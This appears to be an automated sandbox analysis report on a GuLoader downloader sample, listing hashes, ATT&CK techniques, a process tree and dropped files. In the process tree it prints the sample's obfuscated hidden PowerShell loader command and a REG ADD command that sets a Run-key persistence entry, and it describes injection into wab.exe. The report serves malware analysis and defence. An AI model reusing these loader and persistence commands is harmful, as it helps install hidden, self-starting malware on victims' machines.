guloader | 1474d6083b1f2c2ff5a3c5166193401ed510c5ff03493e765f58d1d2c80d538f

General

Target

00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe
Size

391KB
MD5

1e7b3c55e65b93ed3750462bd4e8d58b
SHA1

abec5b9ca7157ab21fb9a5e72ef01f0a15f11a51
SHA256

00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c
SHA512

b75f4bc04c0ec6c0cc49c06a3290c2bfe53eabb9c530660d295d58273636c512613cf9ebd5246dcd1848f155a51f14eaa7c7dc26ce59a97721d5afecdb69ca2a
SSDEEP

12288:HTg5hqq7yL3B2MWy45NDr6K8AVBQ//pR8iQXL:HTg7qdLxn45pJrVBQnnBQXL

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Udmark% -windowstyle minimized $Boblekamre=(Get-ItemProperty -Path 'HKCU:\\Halvfemsaarsfdselsdages\\').Milkwood;%Udmark% ($Boblekamre)"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3276	powershell.exe
5056	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3276 set thread context of 5056	3276	powershell.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3908	reg.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3276	powershell.exe
3276	powershell.exe
3276	powershell.exe
3276	powershell.exe
3276	powershell.exe
3276	powershell.exe
3276	powershell.exe
3276	powershell.exe
3276	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3276	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3276	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4080 wrote to memory of 3276	4080	00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe	83
PID 4080 wrote to memory of 3276	4080	00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe	83
PID 4080 wrote to memory of 3276	4080	00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe	83
PID 3276 wrote to memory of 2760	3276	powershell.exe	88
PID 3276 wrote to memory of 2760	3276	powershell.exe	88
PID 3276 wrote to memory of 2760	3276	powershell.exe	88
PID 3276 wrote to memory of 5056	3276	powershell.exe	90
PID 3276 wrote to memory of 5056	3276	powershell.exe	90
PID 3276 wrote to memory of 5056	3276	powershell.exe	90
PID 3276 wrote to memory of 5056	3276	powershell.exe	90
PID 3276 wrote to memory of 5056	3276	powershell.exe	90
PID 5056 wrote to memory of 5108	5056	wab.exe	91
PID 5056 wrote to memory of 5108	5056	wab.exe	91
PID 5056 wrote to memory of 5108	5056	wab.exe	91
PID 5108 wrote to memory of 3908	5108	cmd.exe	93
PID 5108 wrote to memory of 3908	5108	cmd.exe	93
PID 5108 wrote to memory of 3908	5108	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe
"C:\Users\Admin\AppData\Local\Temp\00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4080
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Dimissorernes=Get-Content 'C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Retshandlingerne29.Dat';$Skoletandlges=$Dimissorernes.SubString(59193,3);.$Skoletandlges($Dimissorernes)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:2760
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:5056
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Udmark% -windowstyle minimized $Boblekamre=(Get-ItemProperty -Path 'HKCU:\Halvfemsaarsfdselsdages\').Milkwood;%Udmark% ($Boblekamre)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5108
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Udmark% -windowstyle minimized $Boblekamre=(Get-ItemProperty -Path 'HKCU:\Halvfemsaarsfdselsdages\').Milkwood;%Udmark% ($Boblekamre)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dc1owjwn.dzy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Kladdebger.Svi

Filesize
328KB

MD5
91f9880b33408373db6257b678a4a0bf

SHA1
912a4ec00cac46c0b15d53d539039a77137bd86e

SHA256
12b35dc28be02873ee8b345ac4a38eeda408aa7505a2f836aa32e3467d939008

SHA512
b6747b3d21b8b1e91d212863a2969f1b20b18c4686e71df6fec7d96ff05b74470cd7c063ad7fa47dca467e5e462476feb13b9ddeedfb370283b0fc11a8af454e

Download Submit
C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Retshandlingerne29.Dat

Filesize
57KB

MD5
6db11b1548b28a3b9b2b3e3147cddc04

SHA1
7f62e36b96a2d2264a21e98b17cbb6b0710f4335

SHA256
af7a18872951b3eef11a71013231b42a2ef418191580cd16505cb8bd4dae8cde

SHA512
7e77a496ea3b44479a20a0e9edfd61fcd322ee6365cda15ab908228b936a6219e6fd3162277e46127e532dc51a95b77cf43506caa60060c426510b9721a531dd

Download Submit
memory/3276-10-0x0000000005E90000-0x0000000005EF6000-memory.dmp

Filesize
408KB

Download
memory/3276-8-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/3276-9-0x0000000005CF0000-0x0000000005D12000-memory.dmp

Filesize
136KB

Download
memory/3276-11-0x0000000005F00000-0x0000000005F66000-memory.dmp

Filesize
408KB

Download
memory/3276-6-0x0000000005610000-0x0000000005C38000-memory.dmp

Filesize
6.2MB

Download
memory/3276-4-0x0000000002F80000-0x0000000002FB6000-memory.dmp

Filesize
216KB

Download
memory/3276-21-0x0000000005F70000-0x00000000062C4000-memory.dmp

Filesize
3.3MB

Download
memory/3276-22-0x0000000006570000-0x000000000658E000-memory.dmp

Filesize
120KB

Download
memory/3276-31-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/3276-24-0x0000000006B10000-0x0000000006BA6000-memory.dmp

Filesize
600KB

Download
memory/3276-25-0x0000000006AB0000-0x0000000006ACA000-memory.dmp

Filesize
104KB

Download
memory/3276-26-0x0000000006BD0000-0x0000000006BF2000-memory.dmp

Filesize
136KB

Download
memory/3276-27-0x0000000007B70000-0x0000000008114000-memory.dmp

Filesize
5.6MB

Download
memory/3276-7-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/3276-5-0x00000000741A0000-0x0000000074950000-memory.dmp

Filesize
7.7MB

Download
memory/3276-29-0x00000000087A0000-0x0000000008E1A000-memory.dmp

Filesize
6.5MB

Download
memory/3276-23-0x0000000006610000-0x000000000665C000-memory.dmp

Filesize
304KB

Download
memory/3276-32-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/3276-34-0x0000000007A90000-0x0000000007A94000-memory.dmp

Filesize
16KB

Download
memory/3276-35-0x0000000008E20000-0x0000000009F5D000-memory.dmp

Filesize
17.2MB

Download
memory/3276-36-0x0000000008E20000-0x0000000009F5D000-memory.dmp

Filesize
17.2MB

Download
memory/3276-37-0x00000000741A0000-0x0000000074950000-memory.dmp

Filesize
7.7MB

Download
memory/3276-40-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/3276-39-0x0000000077BF1000-0x0000000077D11000-memory.dmp

Filesize
1.1MB

Download
memory/3276-38-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/3276-42-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/3276-43-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/3276-44-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/3276-45-0x0000000008E20000-0x0000000009F5D000-memory.dmp

Filesize
17.2MB

Download
memory/3276-53-0x0000000008E20000-0x0000000009F5D000-memory.dmp

Filesize
17.2MB

Download
memory/3276-52-0x00000000741A0000-0x0000000074950000-memory.dmp

Filesize
7.7MB

Download
memory/5056-46-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads